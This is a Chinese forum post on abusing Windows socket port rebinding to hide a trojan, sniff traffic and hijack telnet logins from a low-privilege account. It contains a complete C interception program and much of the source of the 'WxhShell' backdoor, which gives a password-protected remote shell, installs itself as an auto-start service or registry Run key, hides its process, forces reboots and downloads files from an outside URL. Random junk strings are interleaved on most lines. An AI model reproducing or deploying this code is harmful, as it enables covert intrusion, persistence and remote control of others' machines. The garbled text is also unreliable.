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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: awP ']iE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bvHF;Qywg  
,\*PpcU  
  saddr.sin_family = AF_INET; <>3}<i<[&  
eu!B ,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nNuv 0  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z'cVq}vl  
V %k #M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {#>>dILPr  
+#qW 0g  
  这意味着什么?意味着可以进行如下的攻击: 8@`"ZzM  
JP$@*F@t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sg@)IEg</v  
8GpPyG ],e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N}`.N  
j ys1Ki  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s$g"6;_\  
h<KE)^).  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U)IW6)q  
qRXQL"Pe_l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l :sZ  
Z}#, E ;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q-<,+[/  
s)_Xj`Q#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V}?d ,.m`{  
)$18a  
  #include >T'=4n['  
  #include _`6fGu& W  
  #include C.SG m  
  #include    QwaCaYoh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,E&PIbDL1  
  int main() SplEY!.k  
  { gFk~SJd  
  WORD wVersionRequested; `-)!4oJ]  
  DWORD ret; x13t@b  
  WSADATA wsaData; 8r7}6  
  BOOL val; u=a5Z4N'  
  SOCKADDR_IN saddr; =`VA_xVu  
  SOCKADDR_IN scaddr; ?6h65GO{  
  int err; W zM9{c  
  SOCKET s; bs-O3w  
  SOCKET sc; .j*muDVQn  
  int caddsize; CV/ei,=9  
  HANDLE mt; ex_Zw+n  
  DWORD tid;   IyTL|W6  
  wVersionRequested = MAKEWORD( 2, 2 ); t__UqCq~h  
  err = WSAStartup( wVersionRequested, &wsaData ); j$Ttoo  
  if ( err != 0 ) { c.5?Q >!+  
  printf("error!WSAStartup failed!\n"); q}-q[p? 5  
  return -1; bMT1(edm  
  } Jt4&%b-T  
  saddr.sin_family = AF_INET; EdQ:8h  
   nAc02lJh|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7^Y"K  
3+6s}u)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,TrrqCw>  
  saddr.sin_port = htons(23); dP8b\H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eKd F-;  
  { i:ar{ q  
  printf("error!socket failed!\n"); :W'Yt9v)  
  return -1; J23Tst#s  
  } $JKR,   
  val = TRUE; 9qIdwDRY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cID{X&or  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H{*~d+:ol  
  { H,r>@Y  
  printf("error!setsockopt failed!\n"); w+ZeVZv!r  
  return -1; N?!]^jI,  
  } %'2DEt??  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j{)_&|^{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #X&`gDW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y,$kU1yH7  
fmH"&>Loc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CXqU< a&  
  { )6?(K"T  
  ret=GetLastError(); X"V,3gDG  
  printf("error!bind failed!\n"); ImJ2tz6  
  return -1; P,xI3U< q  
  } T7f>u}T  
  listen(s,2); IipG?v0z~  
  while(1) #]nH$Kq  
  { nSxFz!  
  caddsize = sizeof(scaddr); >kK;IF9h  
  //接受连接请求 \!HG kmd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  /[f9Z:>V  
  if(sc!=INVALID_SOCKET) F?b5!<5  
  { NYwE=b~I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s7RAui  
  if(mt==NULL) H38ODWO3  
  { ]^HlI4 z  
  printf("Thread Creat Failed!\n"); hL:n9G  
  break; E. @n Rj#  
  } ;B[*f?y-  
  } YVy+1q[  
  CloseHandle(mt); [}snKogp  
  } kh3PEq   
  closesocket(s); _tE`W96J  
  WSACleanup(); PprCz"  
  return 0; <"I#lib  
  }   N}0-L$@SL  
  DWORD WINAPI ClientThread(LPVOID lpParam) V:?exJg9  
  { s;-(dQ{O  
  SOCKET ss = (SOCKET)lpParam; `TNW LD@Z  
  SOCKET sc; Y{P0?`  
  unsigned char buf[4096]; 8=;'kEU  
  SOCKADDR_IN saddr; %{$iN|%J%$  
  long num; P$E#C:=  
  DWORD val; `Q d_Gu,M  
  DWORD ret; a4gJ-FE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T/NeoU3 p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0)/L+P5  
  saddr.sin_family = AF_INET; <dxc"A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ps3wg=ni[  
  saddr.sin_port = htons(23); <ptZY.8N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7TCY$RcF,I  
  { T_}9b  
  printf("error!socket failed!\n"); t!MGSB~  
  return -1; 7hPiPv  
  } Y#3<w  
  val = 100; E0XfM B]+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b(8#*S!U  
  { 7MXi_V;p<  
  ret = GetLastError(); eR,ePyA;  
  return -1; 2y6 e]D  
  } octBt`\Of  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ba$&4?8  
  { ?LU]O\p  
  ret = GetLastError(); {ETuaFDM   
  return -1; XV"8R"u%Q  
  } gkDyWZG B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qx3@]9  
  { $[5S M>e]  
  printf("error!socket connect failed!\n");  b,] QfC  
  closesocket(sc); 2y/|/IW=  
  closesocket(ss); eh=.Q<N  
  return -1; V gLnpPOQ  
  } 92|\`\LP%  
  while(1) m22FOjk\  
  { FsI51@V72Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QkJAjmB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I^h^QeBis  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $@t]0  
  num = recv(ss,buf,4096,0); 37Z@a!#  
  if(num>0) :q_(=EA  
  send(sc,buf,num,0); eH.~c3o  
  else if(num==0) K&2{k+ w  
  break; 4\qnCf3  
  num = recv(sc,buf,4096,0); *c<=IcA  
  if(num>0) .!yXto:  
  send(ss,buf,num,0); JQCQpn/  
  else if(num==0) H+UA  
  break; -%8*>%  
  } ^m ^4LDt  
  closesocket(ss); }GV5':W@WG  
  closesocket(sc); kk6Af\NZ  
  return 0 ; +AGI)uQQ  
  } iTf]Pd'  
Ae,P&(  
|KF_h^  
========================================================== )erI3?k  
X6lkz*M.  
下边附上一个代码,,WXhSHELL (* WO<V  
hS<lUG!9UJ  
========================================================== Gw 4~  
C"`,?K(U  
#include "stdafx.h" 9?8Yf(MC%u  
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#include <stdio.h> ifyWhS++  
#include <string.h> D?yiK=:08`  
#include <windows.h> X=QaTV  
#include <winsock2.h> q~QB?+ x&  
#include <winsvc.h> xaQO=[  
#include <urlmon.h> 0E[&:6#Y  
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#pragma comment (lib, "Ws2_32.lib") 8|FHr,  
#pragma comment (lib, "urlmon.lib") 8t4o}3>  
rVo0H.+N)`  
#define MAX_USER   100 // 最大客户端连接数 =1qM`M   
#define BUF_SOCK   200 // sock buffer #^|"dIZ_M  
#define KEY_BUFF   255 // 输入 buffer vumA W*  
"UUzLa_  
#define REBOOT     0   // 重启 !% 'dyj  
#define SHUTDOWN   1   // 关机 'Z^-(xG,+  
lOk'stLNa&  
#define DEF_PORT   5000 // 监听端口 -?T:> *]p  
v/NkG;NWM  
#define REG_LEN     16   // 注册表键长度 ozF173iI  
#define SVC_LEN     80   // NT服务名长度 yHrYSEM  
z=YHRS  
// 从dll定义API r$7zk<01  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1DzI@c~X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -M{.KqyW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1|U8DK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;;r}=0V*=  
:PJ 5~7C  
// wxhshell配置信息 a#Yo^"*1  
struct WSCFG { 1?6zsA%N  
  int ws_port;         // 监听端口 &w4~0J>v!  
  char ws_passstr[REG_LEN]; // 口令 bq+ Q$#F2X  
  int ws_autoins;       // 安装标记, 1=yes 0=no V 4~`yT?*"  
  char ws_regname[REG_LEN]; // 注册表键名 gaBVD*>  
  char ws_svcname[REG_LEN]; // 服务名 <$H-/~Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?H7YmN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JerueF;J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ((Jiv=%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >m66j2(H*Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WoYXXYP/E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "9>.,nzt  
)21yD1"6  
}; m]XG7:}V0  
5Vq&w`sW  
// default Wxhshell configuration vz{Z tE"  
struct WSCFG wscfg={DEF_PORT, m :M=De  
    "xuhuanlingzhe", m+Um^:\jX  
    1, {`X O3  
    "Wxhshell", .(2Zoa  
    "Wxhshell", qKL :#ny  
            "WxhShell Service", bUcq LV  
    "Wrsky Windows CmdShell Service", $0(~ID  
    "Please Input Your Password: ", V~tZNR J-  
  1, NG)Xk[q4  
  "http://www.wrsky.com/wxhshell.exe", 71)DLGL  
  "Wxhshell.exe" nqnVFkGd9  
    }; Aw7oyC!  
hXF#KVqx  
// 消息定义模块 s,~p}A%0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'f'zV@)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k|kn#X3X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A9:dHOmT^U  
char *msg_ws_ext="\n\rExit."; gk-g!v&  
char *msg_ws_end="\n\rQuit."; e<.O'!=7Y  
char *msg_ws_boot="\n\rReboot..."; f_{O U E  
char *msg_ws_poff="\n\rShutdown..."; vC j, aSW  
char *msg_ws_down="\n\rSave to "; &@dMIJK"(  
\DDR l{  
char *msg_ws_err="\n\rErr!"; p|q}z/  
char *msg_ws_ok="\n\rOK!"; CVa?L"lK  
VZ o,AP~  
char ExeFile[MAX_PATH]; U/p|X)  
int nUser = 0; ke~S[bL%-  
HANDLE handles[MAX_USER]; W.|r=   
int OsIsNt; D(z}c,  
zJxO\  
SERVICE_STATUS       serviceStatus; &@&0n)VTd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T^b62j'b5_  
X3# AYn,  
// 函数声明 ZvSWIQ6  
int Install(void); Y\Grf$e  
int Uninstall(void); -n>JlfCd2  
int DownloadFile(char *sURL, SOCKET wsh); B'@a36  
int Boot(int flag); q>n0'`q   
void HideProc(void); EKr#i}(x<  
int GetOsVer(void); :<"b"{X"  
int Wxhshell(SOCKET wsl); *'BA# /@  
void TalkWithClient(void *cs); \H6[6*JuB  
int CmdShell(SOCKET sock); rzk]{W  
int StartFromService(void); udld[f.  
int StartWxhshell(LPSTR lpCmdLine); 8dBG ZwyET  
 + f+#W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e [}m@a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BZdryk:S  
|^&j'k+A  
// 数据结构和表定义 "3\C;B6I  
SERVICE_TABLE_ENTRY DispatchTable[] = $VgazUH% =  
{ 4Iq-4IG(  
{wscfg.ws_svcname, NTServiceMain}, +6i~Rx>  
{NULL, NULL} 7K.in3M(  
}; $$GmundqB  
` 6'dhB  
// 自我安装 0P%,1M3d  
int Install(void) _7k6hVQ  
{ 0Na/3cz|zg  
  char svExeFile[MAX_PATH]; -nsI5\]  
  HKEY key; 8`$lsD  
  strcpy(svExeFile,ExeFile); _7^4sR8=  
jf|5}5kSlf  
// 如果是win9x系统,修改注册表设为自启动 r/G6O  
if(!OsIsNt) { kN'.e*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KcW]"K>p!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r6x"D3  
  RegCloseKey(key); Gs0x;91  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'IykIf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q| EE em  
  RegCloseKey(key); /&T"w,D  
  return 0; ophQdJM  
    } )ld !(d=  
  } Gv$}>YJ  
} /8s+eHn&%  
else { /4Q^L>a  
!.^%*6f  
// 如果是NT以上系统,安装为系统服务 Z(gW(O9h.V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s .xJ},E9  
if (schSCManager!=0) L<` p;?   
{ X-mhz3Q&a  
  SC_HANDLE schService = CreateService 3WTNWz#h  
  ( {,Py%.vvR  
  schSCManager, j,%<16f^A  
  wscfg.ws_svcname, B(z?IW&  
  wscfg.ws_svcdisp, LYV\|a{Y  
  SERVICE_ALL_ACCESS, SFaG`T=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;`(l)X+7  
  SERVICE_AUTO_START, FFvF4]|L  
  SERVICE_ERROR_NORMAL, ~\ C.Nm  
  svExeFile, AlH\IP  
  NULL,  55<f  
  NULL, 2y"|l  
  NULL,  q\xT  
  NULL, ZB|y  
  NULL cc %m0p  
  ); VD).UdUn  
  if (schService!=0) ": G\  
  { RqenPM k  
  CloseServiceHandle(schService); B7R*g,(  
  CloseServiceHandle(schSCManager); $7~T+fmF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %~$P.Zh  
  strcat(svExeFile,wscfg.ws_svcname); 6(9S'~*'R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GmJ4AYEP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mjr19_.S  
  RegCloseKey(key); ,Zs"r}G^  
  return 0; 1lf 5xm.  
    } V7pe|]%r  
  } UmC_C[/n?  
  CloseServiceHandle(schSCManager); ;@&mR <5j  
} B,f4<  
} n!Dy-)!`O  
/@!%/Kl  
return 1; ohod)8  
} (/oHj^>3N`  
)T_o!/\*|*  
// 自我卸载 %( tu<  
int Uninstall(void) 82z\^a  
{ UUuB Rtau  
  HKEY key; +wwb+aG6{  
>;9+4C<z0  
if(!OsIsNt) { R[l9f8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .>.B  
  RegDeleteValue(key,wscfg.ws_regname); NukcBH  
  RegCloseKey(key); `wzb}"gLsM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x'c%w:  
  RegDeleteValue(key,wscfg.ws_regname); 2A5R3x= \  
  RegCloseKey(key); ;B,6v P#  
  return 0; n*Q~<`T  
  } Q=+*OQV29  
} ROv(O;.Ty  
} +li<y`aw0  
else { .h0@Vs  
zlw+=NX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7tEkQZMDI  
if (schSCManager!=0) `o;E  
{ vfn _Nq;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I>(3\z4s  
  if (schService!=0) ^)|!nd  
  { 6~t;&)6J  
  if(DeleteService(schService)!=0) { M$O*@])  
  CloseServiceHandle(schService); W'B=H1  
  CloseServiceHandle(schSCManager); cU+% zk  
  return 0; iFypKpHg~  
  } hS?pc<~`#  
  CloseServiceHandle(schService); PU"C('AP  
  } bGO[P<<  
  CloseServiceHandle(schSCManager); 3/j^Ao\fw  
} ry2ZVIFa  
} |6ZH+6[  
N3Yf3rK  
return 1; [X"F}ph  
} fH#*r|~  
49gm=XPm  
// 从指定url下载文件 3.c0PRZ  
int DownloadFile(char *sURL, SOCKET wsh) 8~~*/oCoJt  
{ 9Ez>srH(  
  HRESULT hr; =.sg$VX  
char seps[]= "/"; Vg>\@ C .s  
char *token; &"h 9Awn2  
char *file; ,k,RXgQ  
char myURL[MAX_PATH]; e?V7<7$  
char myFILE[MAX_PATH]; TVVr<r  
^iHwv*ss  
strcpy(myURL,sURL); 9}=]oX!+V  
  token=strtok(myURL,seps); ;F/yS2p  
  while(token!=NULL) 5}pn5iI  
  { ]I+"";oQGB  
    file=token; " 0:&x n8L  
  token=strtok(NULL,seps); n B5:X  
  } b%TS37`^[  
YM:;mX5B  
GetCurrentDirectory(MAX_PATH,myFILE); '1jG?D  
strcat(myFILE, "\\"); -F-RWs{yS  
strcat(myFILE, file); TN+iv8sT  
  send(wsh,myFILE,strlen(myFILE),0); Q7~9~  
send(wsh,"...",3,0); w,,QXJe{Z_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |3a1hCxt  
  if(hr==S_OK) Dm")\"5\?  
return 0; _N-.=86*  
else !bPsJbIo>  
return 1; gc y'"d"  
B*zR/?U^  
} HZG^o^o1l+  
dv_& ei  
// 系统电源模块 m$bX;F}T  
int Boot(int flag) v}Gpw6   
{ 1&Fty'p  
  HANDLE hToken; ek^=Z`  
  TOKEN_PRIVILEGES tkp; <8JV`dTywC  
em@bxyMm  
  if(OsIsNt) { o)(N*tC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "<e<0::  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E!,+#%O>  
    tkp.PrivilegeCount = 1; B5nzkJV<X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ny\c>$z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {x-iBg9#l2  
if(flag==REBOOT) { D)]U+Qk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a/n KKhXaM  
  return 0; TSl:a &  
} L,m'/}$  
else { :3uCW1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hJkSk;^  
  return 0; J0 [^hH  
} `YK2hr  
  } j/oM^IY  
  else { =u*\P!$  
if(flag==REBOOT) {  |>Q ] q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )YKnFSm  
  return 0;  Xf4   
} #dvH0LX?  
else { o|tq&&! <  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qHGwD20 ~  
  return 0; eplz5%<  
} 'V*ixK8R0  
} ed=pRb  
s!vvAD;\  
return 1; M_:_(y>l  
} 3y[uH'  
x34 4}\  
// win9x进程隐藏模块 zK Y 9 'y  
void HideProc(void) h.QsI`@f  
{ 3 N5un`K7  
y4V~fg;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ??'>kQ4  
  if ( hKernel != NULL ) hPb erc2  
  { q{fgsc8v\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0TDc Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'aWrjfDy:  
    FreeLibrary(hKernel); _F2 R x@Y  
  } U)f;*{U  
d(=*@epjR  
return; Y<x;-8)*  
} #><P28m  
]uikE2nn  
// 获取操作系统版本 jHU5>Gt-}  
int GetOsVer(void) ja<!_^h=At  
{ 5i<E AKL  
  OSVERSIONINFO winfo; p#]D-?CM)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E`"<t:RzF  
  GetVersionEx(&winfo); c}QWa"\2n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3:S>MFRn.3  
  return 1; hS( )OY  
  else H}nPaw]G  
  return 0; w_>SxSS7  
} ~]d3 f  
||}k99y +  
// 客户端句柄模块 3pV^Oe^9  
int Wxhshell(SOCKET wsl) DCv=*=6w  
{ {\SJr:  
  SOCKET wsh; +9tm9<F8  
  struct sockaddr_in client; &=KNKE`  
  DWORD myID; Hv>16W$_  
*-zOQ=Y  
  while(nUser<MAX_USER) &| d6  
{ <kmH^ viX  
  int nSize=sizeof(client); (=T%eJ61  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ytWTJ>L  
  if(wsh==INVALID_SOCKET) return 1; M6j!_0j  
S4salpz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oi?+Z:lak  
if(handles[nUser]==0) }[$qn|  
  closesocket(wsh); $4*wK@xu  
else  .# Jusd  
  nUser++; FC +}gJ(q  
  } 6]Vf`i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &f;<[_QI=  
RTL A*  
  return 0; >" z$p@7  
} daX$=n  
bg =<)s  
// 关闭 socket PQ#zF&gL9t  
void CloseIt(SOCKET wsh) vi4lmkyh^  
{ zL%ruWNG  
closesocket(wsh); MYmH?A  
nUser--; LdPA`oI3j  
ExitThread(0); 5Nt40)E}sN  
} BDO]-y  
\qo}}I>e  
// 客户端请求句柄 0+iaO"%  
void TalkWithClient(void *cs) ?k}"g$JFn  
{ 8Hf:yG,  
.$rt>u,8<  
  SOCKET wsh=(SOCKET)cs; \i2S'AblYq  
  char pwd[SVC_LEN]; =!~6RwwwY  
  char cmd[KEY_BUFF]; B5pWSS  
char chr[1]; 8+?|4'\`  
int i,j; {SQ#n@Q&$  
w]% |^:  
  while (nUser < MAX_USER) { /'ukeK+'  
Jtv~n  
if(wscfg.ws_passstr) { g]ct6-m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a%IJ8t+mn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]46-TuH  
  //ZeroMemory(pwd,KEY_BUFF); }OJ,<!v2pc  
      i=0; 2`]`nTz,  
  while(i<SVC_LEN) { ##+f/Fxym  
ag7(nn0!  
  // 设置超时 #guq/g$  
  fd_set FdRead; ZJod=^T  
  struct timeval TimeOut; 4)DI0b"  
  FD_ZERO(&FdRead); 88}=VS  
  FD_SET(wsh,&FdRead); ,P T5-9 m  
  TimeOut.tv_sec=8; l>J>?b=x"[  
  TimeOut.tv_usec=0; JDI1l_Ga  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : U Yn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *%(BE*C}  
zYz0R:@n+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0C,2gcq  
  pwd=chr[0]; M?nYplC  
  if(chr[0]==0xd || chr[0]==0xa) { ,~TV/l<  
  pwd=0; 3lw8%QD>  
  break; c:@lR/oe"  
  } 8 etNS~^  
  i++; ^p2_p9  
    } 1p DL()t  
v!~ ;Q O  
  // 如果是非法用户,关闭 socket mjI $z3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S+LS!b  
} HXg#iP^tv  
VOa7qnh4:[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #K4lnC2qz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (9A`[TRwi  
jW!x!8=  
while(1) { 5RUhrE   
5TB==Fj ?  
  ZeroMemory(cmd,KEY_BUFF); ;LhNz()b  
Rr!oT?6J?  
      // 自动支持客户端 telnet标准   ^]_5oFRIj  
  j=0; UD+r{s/%  
  while(j<KEY_BUFF) { f-'$tMs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m|%L[h1  
  cmd[j]=chr[0]; ,Qw\w,  
  if(chr[0]==0xa || chr[0]==0xd) { SR<*yO  
  cmd[j]=0; 4_i6q u(4  
  break; _ft)e3Gf  
  } KsG>,# Q  
  j++; sZ7RiH +I  
    } /BaXWrd+  
{<k}U;uiO  
  // 下载文件 p&O-]o8  
  if(strstr(cmd,"http://")) { "+BNas^rF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _]/&NSk  
  if(DownloadFile(cmd,wsh)) M6MtE_E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @&4s)&-F  
  else }vof| (Yh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "x"y3v'  
  } h{BO\^6x  
  else { 6tDCaB  
_XP3|E;I/  
    switch(cmd[0]) { pRTdP/(OQ  
  .o"FT~}z  
  // 帮助 b- FJMY  
  case '?': { wvu h   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B+pJWl8u  
    break; Kd%>:E*  
  } l4LowV7  
  // 安装 U*R  
  case 'i': { }w%W A&"W  
    if(Install()) &l| :1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ->0OqVQA  
    else Ozo)}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B*,Qw_3dG  
    break; ,iYKtS3  
    } g 218%i  
  // 卸载 BGSqfr1F  
  case 'r': { 5"cYZvGkJ  
    if(Uninstall()) B;6N.X(K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?gN &Z)I  
    else iJsa;|2/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^;xO-;q  
    break; (4 6S^*  
    } (d@ =   
  // 显示 wxhshell 所在路径 1 xu2$x.b  
  case 'p': { &qP@WFl  
    char svExeFile[MAX_PATH]; J ;e/S6l  
    strcpy(svExeFile,"\n\r"); gL-\@4\wc  
      strcat(svExeFile,ExeFile); d O'apey  
        send(wsh,svExeFile,strlen(svExeFile),0); ; ^cc-bLvF  
    break; ,x. 2kb  
    } 8g!C'5  
  // 重启 ]B'H(o R<|  
  case 'b': { yS2[V,vS7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H{4/~Z  
    if(Boot(REBOOT)) d J;y>_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aDreN*n  
    else { Dn9AOi!  
    closesocket(wsh); /[|ODfY  
    ExitThread(0); =nTNL.SX  
    } rcyq+wY #  
    break; fmv8)$W#U  
    }  =>Md>VM  
  // 关机 SyWLPh  
  case 'd': { g0n 5&X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c{SD=wRt,y  
    if(Boot(SHUTDOWN)) 4\?GA`@  
